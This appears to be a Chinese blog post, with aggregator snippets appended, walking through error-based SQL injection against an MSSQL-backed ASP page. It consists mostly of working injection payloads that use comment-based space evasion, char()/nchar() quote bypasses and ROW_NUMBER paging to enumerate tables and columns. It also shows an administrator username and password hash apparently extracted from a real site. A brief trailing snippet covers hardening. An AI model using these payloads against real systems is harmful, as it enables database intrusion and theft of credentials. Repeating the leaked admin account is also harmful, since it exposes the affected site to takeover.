mssql有趣的注入 niexinming

2021-07-10 03:47:05 字數 3244 閱讀 3788

這個注入點:

本操作將可能危害資料安全, 請確認你提交的資訊。

首先用order by 探測字段數,發現有45個字段,這個手工不太適合,但是這個**可以顯錯,所以,我們用報錯注入

首先我們看看他是什麼版本的資料庫,

由於這個是數字型的注入,所以我們不用引號將其閉合,而且我們在這裡直接輸入@@vesion就會報錯

報錯資訊:

microsoft ole db provider for sql server 錯誤 '80040e07'

/temp.asp,行 25

當前資料庫:

報錯資訊:

microsoft ole db provider for sql server 錯誤 '80040e07'

在將 nvarchar 值 'web' 轉換成資料型別 int 時失敗。

/temp.asp,行 25

這裡有個小技巧,就是向db_name()中傳遞引數可以查其他的資料庫,比如:

報錯資訊:

microsoft ole db provider for sql server 錯誤 '80040e07'

在將 nvarchar 值 'master' 轉換成資料型別 int 時失敗。

/temp.asp,行 25

這個遞增這個數字就可以查詢了

我們查詢web的表,也就是當前資料庫的表:

由於不能使用單引號,所以,

select top 1 name from 資料庫.sys.all_objects where type='u' and is_ms_shipped=0 and name not in ('表名')

這樣的就用不了,我們這個時候就要用到資料庫的分頁查詢來遍歷資料庫的表名:

首先是是分頁的原理:

這個帖子

裡面列舉了四種分頁的效果

我選select top 10 *

from

(select row_number() over(order by id) as rownumber,* from test

) awhere rownumber > 40

這個方法來做分頁

於是我們可以這樣爆第乙個表:

/**/and/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/web.sys.all_objects/**/where/**/type=char(85))a/**/where/**/rownumber>=1/**/and/**/rownumber<=1)>0

報錯資訊:

microsoft ole db provider for sql server 錯誤 '80040e07'

在將 nvarchar 值 '上傳檔案' 轉換成資料型別 int 時失敗。

/temp.asp,行 25

爆第二個表:

/**/and/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/web.sys.all_objects/**/where/**/type=char(85))a/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0

報錯資訊:

microsoft ole db provider for sql server 錯誤 '80040e07'

/temp.asp,行 25

然後我爆到了:管理帳戶,這個表

對了,這裡有個小技巧,就是,上面爆表中的其中有有乙個地方本來是這樣寫的where type='u',但是由於不能出單引號,所以要這樣寫:

where type=char(85)

爆欄位:

/**/and/**/(/**/select/**/top/**/1/**/column_name/**/from(/**/select/**/row_number()/**/over(/**/order/**/by/**/ordinal_position)/**/as/**/rownumber,*/**/from/**/web.information_schema.columns/**/where/**/table_name=nchar(31649)%2bnchar(29702)%2bnchar(24080)%2bnchar(25143))/**/a/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0

報錯資訊:

microsoft ole db provider for sql server 錯誤 '80040e07'

在將 nvarchar 值 '使用者名稱' 轉換成資料型別 int 時失敗。

/temp.asp,行 25

這個有個小技巧,由於這裡的表名是中文:

所以,我們查表的時候:要用到sql server的unicode和nchar這兩個函式

首先,我們在sql server中的企業管理器中查詢做這樣的查詢:select unicode('管'),得到的結果是 31649,然後我們依次查詢出來:

「管理帳戶」這四個字的值:

然後我們再用四個值用nchar 轉換出來看看效果:

select nchar(31649)+nchar(29702)+nchar(24080)+nchar(25143)

結果:管理賬戶

ok,好了,就這樣拼到「where table_name=」

後面做查詢。

這裡依然有個小技巧:

在實際注入的時候不能使用「+」這個符號

要用%2b做代替

我爆到資料庫 web,表為:管理帳戶 的字段為:

編號 使用者名稱 前台使用者名稱 密碼 姓名 ** 最後時間 ****

爆資料:

/**/and/**/(/**/select/**/top/**/1/**/%d3%c3%bb%a7%c3%fb/**/from/**/%b9%dc%c0%ed%d5%ca%bb%a7)>0

由於這裡面的表名和欄位名都是中文

所以我們在這裡做一些urlencode編碼的轉換

這個**提供這樣的轉換,我們在這裡選擇gb2312,然後將中文轉換為對應的url編碼

然後就可以查出資料了:

使用者名稱:

stgst

密碼:3f9aa31e9b129d97

MSSQL注入 反彈注入

明明是sql注入的點,卻無法進行注入,注射工具拆解的速度異常的緩慢,錯誤提示資訊關閉,無法返回注入的結果,這個時候你便可以嘗試使用 注入,注入需要依賴於函式opendatasource的支援,將當前資料庫中的查詢結果傳送到另一資料庫伺服器中。and exists select from sysobj...

MSSQL注入的防護

作者 alpha 文章 暮晗日誌 mssql注入攻擊是比較直接和危害比較大的一種攻擊方式,那些所謂的黑客們能夠利用它直接取得系統許可權。今天我們就來看看如何通過系統設定防止這種攻擊 首先要申明的是,並不是通過這個設定就能保證你的伺服器的安全,安全是乙個整體,然而整體又正是由這些部分構成的!對策一 偽...

ms sql 注入安全

sql查詢分析器 use master exec sp dropextendedproc xp cmdshell exec sp dropextendedproc xp dirtree exec sp dropextendedproc xp enumgroups exec sp dropextend...